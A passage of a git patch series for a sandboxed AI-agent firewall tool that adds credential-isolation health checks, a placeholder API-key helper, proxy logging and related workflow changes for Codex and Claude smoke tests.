'*.githubusercontent.com,172.30.0.1,api.openai.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,mcp.tavily.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,openai.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,raw.githubusercontent.com,s.symcb.com,s.symcd.com,security.ubuntu.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --build-local \ + sudo -E awf --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains '*.githubusercontent.com,172.30.0.1,api.openai.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,mcp.tavily.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,openai.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,raw.githubusercontent.com,s.symcb.com,s.symcd.com,security.ubuntu.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --enable-api-proxy --build-local \ -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && INSTRUCTION="$(cat /tmp/gh-aw/aw-prompts/prompt.txt)" && codex ${GH_AW_MODEL_AGENT_CODEX:+-c model="$GH_AW_MODEL_AGENT_CODEX" }exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check "$INSTRUCTION"' \ 2>&1 | tee /tmp/gh-aw/agent-stdio.log env: - CODEX_API_KEY: ${{ secrets.CODEX_API_KEY || secrets.OPENAI_API_KEY }} CODEX_HOME: /tmp/gh-aw/mcp-config GH_AW_MCP_CONFIG: /tmp/gh-aw/mcp-config/config.toml GH_AW_MODEL_AGENT_CODEX: ${{ vars.GH_AW_MODEL_AGENT_CODEX || '' }} @@ -1393,7 +1392,6 @@ jobs: GH_AW_SAFE_OUTPUTS: ${{ env.GH_AW_SAFE_OUTPUTS }} GH_DEBUG: 1 GITHUB_STEP_SUMMARY: ${{ env.GITHUB_STEP_SUMMARY }} - OPENAI_API_KEY: ${{ secrets.CODEX_API_KEY || secrets.OPENAI_API_KEY }} RUST_LOG: trace,hyper_util=info,mio=info,reqwest=info,os_info=info,codex_otel=warn,codex_core=debug,ocodex_exec=debug - name: Configure Git credentials env: From 1ec191120102ca3564b65a0e609ca93e8c5fb258 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 14:34:35 +0000 Subject: [PATCH 07/29] feat: add api-proxy health checks for credential isolation Adds pre-flight connectivity and credential isolation checks before agent execution. Health check verifies: - API keys NOT present in agent environment (ANTHROPIC_API_KEY, CLAUDE_API_KEY, OPENAI_API_KEY, CODEX_API_KEY, OPENAI_KEY) - API proxy reachable via ANTHROPIC_BASE_URL and OPENAI_BASE_URL - TCP connectivity test with 5 second timeout Implementation: - Created api-proxy-health-check.sh with detailed credential checks - Integrated into agent entrypoint.sh (runs after iptables, before agent) - Added to Dockerfile build process - Fails fast if credential isolation broken or proxy unreachable This ensures both Claude and Codex agents cannot access API keys directly, confirming the credential isolation architecture is working as designed. --- containers/agent/Dockerfile | 5 +- containers/agent/api-proxy-health-check.sh | 96 ++++++++++++++++++++++ containers/agent/entrypoint.sh | 5 ++ 3 files changed, 104 insertions(+), 2 deletions(-) create mode 100755 containers/agent/api-proxy-health-check.sh diff --git a/containers/agent/Dockerfile b/containers/agent/Dockerfile index 717c56cfa..74a8ff862 100644 --- a/containers/agent/Dockerfile +++ b/containers/agent/Dockerfile @@ -62,11 +62,12 @@ RUN if ! getent group awfuser >/dev/null 2>&1; then \ mkdir -p /home/awfuser/.copilot/logs && \ chown -R awfuser:awfuser /home/awfuser -# Copy iptables setup script and PID logger +# Copy iptables setup script, PID logger, and API proxy health check COPY setup-iptables.sh /usr/local/bin/setup-iptables.sh COPY entrypoint.sh /usr/local/bin/entrypoint.sh COPY pid-logger.sh /usr/local/bin/pid-logger.sh -RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/pid-logger.sh +COPY api-proxy-health-check.sh /usr/local/bin/api-proxy-health-check.sh +RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/pid-logger.sh /usr/local/bin/api-proxy-health-check.sh # Copy pre-built one-shot-token library from rust-builder stage # This prevents tokens from being read multiple times (e.g., by malicious code) diff --git a/containers/agent/api-proxy-health-check.sh b/containers/agent/api-proxy-health-check.sh new file mode 100755 index 000000000..b76c9a186 --- /dev/null +++ b/containers/agent/api-proxy-health-check.sh @@ -0,0 +1,96 @@ +#!/bin/bash +# api-proxy-health-check.sh +# Pre-flight health check to verify API proxy credential isolation +# This script ensures: +# 1. API keys are NOT present in agent environment (credential isolation working) +# 2. API proxy is reachable and healthy (connectivity established) +# +# Usage: source this script before running agent commands +# Returns: 0 if checks pass, 1 if checks fail (prevents agent from running) + +set -e + +echo "[health-check] API Proxy Pre-flight Check" +echo "[health-check] ==========================================" + +# Track if any API proxy is configured +API_PROXY_CONFIGURED=false + +# Check Claude/Anthropic configuration +if [ -n "$ANTHROPIC_BASE_URL" ]; then + API_PROXY_CONFIGURED=true + echo "[health-check] Checking Anthropic API proxy configuration..." + + # Verify credentials are NOT in agent environment + if [ -n "$ANTHROPIC_API_KEY" ] || [ -n "$CLAUDE_API_KEY" ]; then + echo "[health-check][ERROR] Anthropic API key found in agent environment!" + echo "[health-check][ERROR] Credential isolation failed - keys should only be in api-proxy container" + echo "[health-check][ERROR] ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY:+}" + echo "[health-check][ERROR] CLAUDE_API_KEY=${CLAUDE_API_KEY:+}" + exit 1 + fi + echo "[health-check] ✓ Anthropic credentials NOT in agent environment (correct)" + + # Perform health check using BASE_URL + echo "[health-check] Testing connectivity to Anthropic API proxy at $ANTHROPIC_BASE_URL..." + + # Extract host and port from BASE_URL (format: http://IP:PORT) + PROXY_HOST=$(echo "$ANTHROPIC_BASE_URL" | sed -E 's|^https?://([^:]+):.*|\1|') + PROXY_PORT=$(echo "$ANTHROPIC_BASE_URL" | sed -E 's|^https?://[^:]+:([0-9]+).*|\1|') + + # Test TCP connectivity with timeout + if timeout 5 bash -c "cat < /dev/null > /dev/tcp/$PROXY_HOST/$PROXY_PORT" 2>/dev/null; then + echo "[health-check] ✓ Anthropic API proxy is reachable at $ANTHROPIC_BASE_URL" + else + echo "[health-check][ERROR] Cannot connect to Anthropic API proxy at $ANTHROPIC_BASE_URL" + echo "[health-check][ERROR] Proxy may not be running or network is blocked" + exit 1 + fi +fi + +# Check OpenAI/Codex configuration +if [ -n "$OPENAI_BASE_URL" ]; then + API_PROXY_CONFIGURED=true + echo "[health-check] Checking OpenAI API proxy configuration..." + + # Verify credentials are NOT in agent environment + if [ -n "$OPENAI_API_KEY" ] || [ -n "$CODEX_API_KEY" ] || [ -n "$OPENAI_KEY" ]; then + echo "[health-check][ERROR] OpenAI API key found in agent environment!" + echo "[health-check][ERROR] Credential isolation failed - keys should only be in api-proxy container" + echo "[health-check][ERROR] OPENAI_API_KEY=${OPENAI_API_KEY:+}" + echo "[health-check][ERROR] CODEX_API_KEY=${CODEX_API_KEY:+}" + echo "[health-check][ERROR] OPENAI_KEY=${OPENAI_KEY:+}" + exit 1 + fi + echo "[health-check] ✓ OpenAI credentials NOT in agent environment (correct)" + + # Perform health check using BASE_URL + echo "[health-check] Testing connectivity to OpenAI API proxy at $OPENAI_BASE_URL..." + + # Extract host and port from BASE_URL (format: http://IP:PORT) + PROXY_HOST=$(echo "$OPENAI_BASE_URL" | sed -E 's|^https?://([^:]+):.*|\1|') + PROXY_PORT=$(echo "$OPENAI_BASE_URL" | sed -E 's|^https?://[^:]+:([0-9]+).*|\1|') + + # Test TCP connectivity with timeout + if timeout 5 bash -c "cat < /dev/null > /dev/tcp/$PROXY_HOST/$PROXY_PORT" 2>/dev/null; then + echo "[health-check] ✓ OpenAI API proxy is reachable at $OPENAI_BASE_URL" + else + echo "[health-check][ERROR] Cannot connect to OpenAI API proxy at $OPENAI_BASE_URL" + echo "[health-check][ERROR] Proxy may not be running or network is blocked" + exit 1 + fi +fi + +# Summary +if [ "$API_PROXY_CONFIGURED" = "true" ]; then + echo "[health-check] ==========================================" + echo "[health-check] ✓ All API proxy health checks passed" + echo "[health-check] ✓ Credential isolation verified" + echo "[health-check] ✓ Connectivity established" + echo "[health-check] ==========================================" +else + echo "[health-check] No API proxy configured (ANTHROPIC_BASE_URL and OPENAI_BASE_URL not set)" + echo "[health-check] Skipping health checks" +fi + +exit 0 diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 52c4335f4..0aa01ad59 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -114,6 +114,11 @@ fi # Setup iptables rules /usr/local/bin/setup-iptables.sh +# Run API proxy health checks (verifies credential isolation and connectivity) +# This must run AFTER iptables setup (which allows api-proxy traffic) but BEFORE user command +# If health check fails, the script exits with non-zero code and prevents agent from running +/usr/local/bin/api-proxy-health-check.sh || exit 1 + # Print proxy environment echo "[entrypoint] Proxy configuration:" echo "[entrypoint] HTTP_PROXY=$HTTP_PROXY" From 8c98f95ed1f574b6be106bc38672ea156055e98c Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 14:52:43 +0000 Subject: [PATCH 08/29] fix: restore API keys to workflow env for AWF CLI The API keys must be present in the workflow step's env block so the AWF CLI process (running on the host) can read them via process.env.OPENAI_API_KEY. The AWF CLI needs these environment variables to: 1. Detect that api-proxy should be enabled (checks for openaiApiKey/anthropicApiKey) 2. Pass API keys to the api-proxy container 3. Set OPENAI_BASE_URL and ANTHROPIC_BASE_URL for the agent container The credential isolation still works because: - API keys are in the EXCLUDED_ENV_VARS set when enableApiProxy is true - Keys are excluded from the agent container environment (commit abedf83) - Keys only go to the api-proxy sidecar container - Agent receives only BASE_URL environment variables This fixes the issue where OPENAI_BASE_URL was not being set because config.openaiApiKey was undefined (AWF CLI couldn't read the env var). --- .github/workflows/smoke-codex.lock.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/smoke-codex.lock.yml b/.github/workflows/smoke-codex.lock.yml index be2ec9d96..baea8deb5 100644 --- a/.github/workflows/smoke-codex.lock.yml +++ b/.github/workflows/smoke-codex.lock.yml @@ -1385,6 +1385,7 @@ jobs: -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && INSTRUCTION="$(cat /tmp/gh-aw/aw-prompts/prompt.txt)" && codex ${GH_AW_MODEL_AGENT_CODEX:+-c model="$GH_AW_MODEL_AGENT_CODEX" }exec --dangerously-bypass-approvals-and-sandbox --skip-git-repo-check "$INSTRUCTION"' \ 2>&1 | tee /tmp/gh-aw/agent-stdio.log env: + CODEX_API_KEY: ${{ secrets.CODEX_API_KEY || secrets.OPENAI_API_KEY }} CODEX_HOME: /tmp/gh-aw/mcp-config GH_AW_MCP_CONFIG: /tmp/gh-aw/mcp-config/config.toml GH_AW_MODEL_AGENT_CODEX: ${{ vars.GH_AW_MODEL_AGENT_CODEX || '' }} @@ -1392,6 +1393,7 @@ jobs: GH_AW_SAFE_OUTPUTS: ${{ env.GH_AW_SAFE_OUTPUTS }} GH_DEBUG: 1 GITHUB_STEP_SUMMARY: ${{ env.GITHUB_STEP_SUMMARY }} + OPENAI_API_KEY: ${{ secrets.CODEX_API_KEY || secrets.OPENAI_API_KEY }} RUST_LOG: trace,hyper_util=info,mio=info,reqwest=info,os_info=info,codex_otel=warn,codex_core=debug,ocodex_exec=debug - name: Configure Git credentials env: From eb5b911f4f817e984a4112017f2d901c8799b0aa Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 15:17:53 +0000 Subject: [PATCH 09/29] feat: add claude code api key helper for credential isolation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This commit implements dynamic API key retrieval for Claude Code using a helper script following the LLM Gateway pattern, ensuring credential isolation where only the api-proxy container has access to real tokens. Changes: - Created /containers/agent/get-claude-key.sh: Helper script that outputs a placeholder API key (sk-ant-placeholder-key-for-credential-isolation) - Updated containers/agent/Dockerfile: Added get-claude-key.sh to container image and made it executable - Modified .github/workflows/smoke-claude.lock.yml: Configured Claude Code to use the apiKeyHelper by creating ~/.claude/config.json and unsetting ANTHROPIC_API_KEY/ANTHROPIC_AUTH_TOKEN environment variables before running the claude command The api-proxy intercepts requests and injects the real ANTHROPIC_API_KEY, so the placeholder key never reaches the actual Anthropic API. This ensures: 1. Claude Code agent never has access to the real API key 2. Only api-proxy container holds the real credentials 3. Health checks verify keys are NOT in agent environment 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Sonnet 4.5 --- .github/workflows/smoke-claude.lock.yml | 2 +- containers/agent/Dockerfile | 5 +++-- containers/agent/get-claude-key.sh | 15 +++++++++++++++ 3 files changed, 19 insertions(+), 3 deletions(-) create mode 100755 containers/agent/get-claude-key.sh diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index 9400b4657..f740f9061 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -786,7 +786,7 @@ jobs: run: | set -o pipefail sudo -E awf --tty --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains '*.githubusercontent.com,anthropic.com,api.anthropic.com,api.github.com,api.snapcraft.io,archive.ubuntu.com,azure.archive.ubuntu.com,cdn.playwright.dev,codeload.github.com,crl.geotrust.com,crl.globalsign.com,crl.identrust.com,crl.sectigo.com,crl.thawte.com,crl.usertrust.com,crl.verisign.com,crl3.digicert.com,crl4.digicert.com,crls.ssl.com,files.pythonhosted.org,ghcr.io,github-cloud.githubusercontent.com,github-cloud.s3.amazonaws.com,github.com,github.githubassets.com,host.docker.internal,json-schema.org,json.schemastore.org,keyserver.ubuntu.com,lfs.github.com,objects.githubusercontent.com,ocsp.digicert.com,ocsp.geotrust.com,ocsp.globalsign.com,ocsp.identrust.com,ocsp.sectigo.com,ocsp.ssl.com,ocsp.thawte.com,ocsp.usertrust.com,ocsp.verisign.com,packagecloud.io,packages.cloud.google.com,packages.microsoft.com,playwright.download.prss.microsoft.com,ppa.launchpad.net,pypi.org,raw.githubusercontent.com,registry.npmjs.org,s.symcb.com,s.symcd.com,security.ubuntu.com,sentry.io,statsig.anthropic.com,ts-crl.ws.symantec.com,ts-ocsp.ws.symantec.com' --log-level info --proxy-logs-dir /tmp/gh-aw/sandbox/firewall/logs --enable-host-access --enable-api-proxy --build-local \ - -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log + -- /bin/bash -c 'export PATH="$(find /opt/hostedtoolcache -maxdepth 4 -type d -name bin 2>/dev/null | tr '\''\n'\'' '\'':'\'')$PATH"; [ -n "$GOROOT" ] && export PATH="$GOROOT/bin:$PATH" || true && mkdir -p ~/.claude && echo '\''{"apiKeyHelper":"/usr/local/bin/get-claude-key.sh"}'\'' > ~/.claude/config.json && unset ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN && claude --print --disable-slash-commands --no-chrome --max-turns 15 --mcp-config /tmp/gh-aw/mcp-config/mcp-servers.json --allowed-tools '\''Bash,BashOutput,Edit,Edit(/tmp/gh-aw/cache-memory/*),ExitPlanMode,Glob,Grep,KillBash,LS,MultiEdit,MultiEdit(/tmp/gh-aw/cache-memory/*),NotebookEdit,NotebookRead,Read,Read(/tmp/gh-aw/cache-memory/*),Task,TodoWrite,Write,Write(/tmp/gh-aw/cache-memory/*),mcp__github__download_workflow_run_artifact,mcp__github__get_code_scanning_alert,mcp__github__get_commit,mcp__github__get_dependabot_alert,mcp__github__get_discussion,mcp__github__get_discussion_comments,mcp__github__get_file_contents,mcp__github__get_job_logs,mcp__github__get_label,mcp__github__get_latest_release,mcp__github__get_me,mcp__github__get_notification_details,mcp__github__get_pull_request,mcp__github__get_pull_request_comments,mcp__github__get_pull_request_diff,mcp__github__get_pull_request_files,mcp__github__get_pull_request_review_comments,mcp__github__get_pull_request_reviews,mcp__github__get_pull_request_status,mcp__github__get_release_by_tag,mcp__github__get_secret_scanning_alert,mcp__github__get_tag,mcp__github__get_workflow_run,mcp__github__get_workflow_run_logs,mcp__github__get_workflow_run_usage,mcp__github__issue_read,mcp__github__list_branches,mcp__github__list_code_scanning_alerts,mcp__github__list_commits,mcp__github__list_dependabot_alerts,mcp__github__list_discussion_categories,mcp__github__list_discussions,mcp__github__list_issue_types,mcp__github__list_issues,mcp__github__list_label,mcp__github__list_notifications,mcp__github__list_pull_requests,mcp__github__list_releases,mcp__github__list_secret_scanning_alerts,mcp__github__list_starred_repositories,mcp__github__list_tags,mcp__github__list_workflow_jobs,mcp__github__list_workflow_run_artifacts,mcp__github__list_workflow_runs,mcp__github__list_workflows,mcp__github__pull_request_read,mcp__github__search_code,mcp__github__search_issues,mcp__github__search_orgs,mcp__github__search_pull_requests,mcp__github__search_repositories,mcp__github__search_users,mcp__playwright__browser_click,mcp__playwright__browser_close,mcp__playwright__browser_console_messages,mcp__playwright__browser_drag,mcp__playwright__browser_evaluate,mcp__playwright__browser_file_upload,mcp__playwright__browser_fill_form,mcp__playwright__browser_handle_dialog,mcp__playwright__browser_hover,mcp__playwright__browser_install,mcp__playwright__browser_navigate,mcp__playwright__browser_navigate_back,mcp__playwright__browser_network_requests,mcp__playwright__browser_press_key,mcp__playwright__browser_resize,mcp__playwright__browser_select_option,mcp__playwright__browser_snapshot,mcp__playwright__browser_tabs,mcp__playwright__browser_take_screenshot,mcp__playwright__browser_type,mcp__playwright__browser_wait_for'\'' --debug-file /tmp/gh-aw/agent-stdio.log --verbose --permission-mode bypassPermissions --output-format stream-json "$(cat /tmp/gh-aw/aw-prompts/prompt.txt)"${GH_AW_MODEL_AGENT_CLAUDE:+ --model "$GH_AW_MODEL_AGENT_CLAUDE"}' 2>&1 | tee -a /tmp/gh-aw/agent-stdio.log env: ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} BASH_DEFAULT_TIMEOUT_MS: 60000 diff --git a/containers/agent/Dockerfile b/containers/agent/Dockerfile index 74a8ff862..305a4f783 100644 --- a/containers/agent/Dockerfile +++ b/containers/agent/Dockerfile @@ -62,12 +62,13 @@ RUN if ! getent group awfuser >/dev/null 2>&1; then \ mkdir -p /home/awfuser/.copilot/logs && \ chown -R awfuser:awfuser /home/awfuser -# Copy iptables setup script, PID logger, and API proxy health check +# Copy iptables setup script, PID logger, API proxy health check, and Claude key helper COPY setup-iptables.sh /usr/local/bin/setup-iptables.sh COPY entrypoint.sh /usr/local/bin/entrypoint.sh COPY pid-logger.sh /usr/local/bin/pid-logger.sh COPY api-proxy-health-check.sh /usr/local/bin/api-proxy-health-check.sh -RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/pid-logger.sh /usr/local/bin/api-proxy-health-check.sh +COPY get-claude-key.sh /usr/local/bin/get-claude-key.sh +RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/pid-logger.sh /usr/local/bin/api-proxy-health-check.sh /usr/local/bin/get-claude-key.sh # Copy pre-built one-shot-token library from rust-builder stage # This prevents tokens from being read multiple times (e.g., by malicious code) diff --git a/containers/agent/get-claude-key.sh b/containers/agent/get-claude-key.sh new file mode 100755 index 000000000..27e29f22b --- /dev/null +++ b/containers/agent/get-claude-key.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# API Key Helper for Claude Code +# This script outputs a placeholder API key since the real key is held +# exclusively in the api-proxy sidecar container for credential isolation. +# +# The api-proxy intercepts requests and injects the real ANTHROPIC_API_KEY, +# so this placeholder key will never reach the actual Anthropic API. +# +# This approach ensures: +# 1. Claude Code agent never has access to the real API key +# 2. Only api-proxy container holds the real credentials +# 3. Health checks verify keys are NOT in agent environment + +# Output a placeholder key (will be replaced by api-proxy) +echo "sk-ant-placeholder-key-for-credential-isolation" From 42e6e722b56d79e4b50f02d213c4b2bf2e3310e0 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 15:50:41 +0000 Subject: [PATCH 10/29] feat: add logging to api key helper and api-proxy for observability Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- containers/agent/get-claude-key.sh | 5 +++++ containers/api-proxy/server.js | 2 ++ docs/authentication-architecture.md | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/containers/agent/get-claude-key.sh b/containers/agent/get-claude-key.sh index 27e29f22b..c459f6e5d 100755 --- a/containers/agent/get-claude-key.sh +++ b/containers/agent/get-claude-key.sh @@ -11,5 +11,10 @@ # 2. Only api-proxy container holds the real credentials # 3. Health checks verify keys are NOT in agent environment +# Log helper invocation to stderr (stdout is reserved for the API key) +echo "[get-claude-key.sh] API key helper invoked at $(date -Iseconds)" >&2 +echo "[get-claude-key.sh] Returning placeholder key for credential isolation" >&2 +echo "[get-claude-key.sh] Real authentication via ANTHROPIC_BASE_URL=${ANTHROPIC_BASE_URL:-not set}" >&2 + # Output a placeholder key (will be replaced by api-proxy) echo "sk-ant-placeholder-key-for-credential-isolation" diff --git a/containers/api-proxy/server.js b/containers/api-proxy/server.js index bf5dbb523..8f3812244 100644 --- a/containers/api-proxy/server.js +++ b/containers/api-proxy/server.js @@ -175,6 +175,7 @@ if (OPENAI_API_KEY) { } console.log(`[OpenAI Proxy] ${sanitizeForLog(req.method)} ${sanitizeForLog(req.url)}`); + console.log(`[OpenAI Proxy] Injecting Authorization header with OPENAI_API_KEY`); proxyRequest(req, res, 'api.openai.com', { 'Authorization': `Bearer ${OPENAI_API_KEY}`, }); @@ -216,6 +217,7 @@ if (ANTHROPIC_API_KEY) { } console.log(`[Anthropic Proxy] ${sanitizeForLog(req.method)} ${sanitizeForLog(req.url)}`); + console.log(`[Anthropic Proxy] Injecting x-api-key header with ANTHROPIC_API_KEY`); // Only set anthropic-version as default; preserve agent-provided version const anthropicHeaders = { 'x-api-key': ANTHROPIC_API_KEY }; if (!req.headers['anthropic-version']) { diff --git a/docs/authentication-architecture.md b/docs/authentication-architecture.md index 848f3f799..a195de6e0 100644 --- a/docs/authentication-architecture.md +++ b/docs/authentication-architecture.md @@ -119,7 +119,7 @@ agent: ipv4_address: 172.30.0.20 ``` -**Key Security Decision:** API keys are **intentionally excluded** from the agent container environment (lines 983-1005 in `docker-manager.ts`). +**Key Security Decision:** API keys are **intentionally excluded** from the agent container environment (see lines 323-331, 404, and 413-417 in `docker-manager.ts`). ### 3. API Proxy: Credential Injection Layer From 1779ee7e412d798217226f8b30817af9cc629e0c Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 16:03:35 +0000 Subject: [PATCH 11/29] fix: add CLAUDE_CODE_API_KEY_HELPER env var for helper detection Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index f740f9061..c1b313ccd 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -791,6 +791,7 @@ jobs: ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} BASH_DEFAULT_TIMEOUT_MS: 60000 BASH_MAX_TIMEOUT_MS: 60000 + CLAUDE_CODE_API_KEY_HELPER: /usr/local/bin/get-claude-key.sh CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} DISABLE_BUG_COMMAND: 1 DISABLE_ERROR_REPORTING: 1 From 4c0e1c5a8de385d9306317024fd29cfab8a7a1a2 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 16:23:09 +0000 Subject: [PATCH 12/29] fix: unset HTTP_PROXY for claude to use api-proxy as gateway Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- .github/workflows/smoke-claude.lock.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/smoke-claude.lock.yml b/.github/workflows/smoke-claude.lock.yml index c1b313ccd..bdb924fe5 100644 --- a/.github/workflows/smoke-claude.lock.yml +++ b/.github/workflows/smoke-claude.lock.yml @@ -786,7 +786,7 @@ jobs: run: | set -o pipefail sudo -E awf --tty --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains 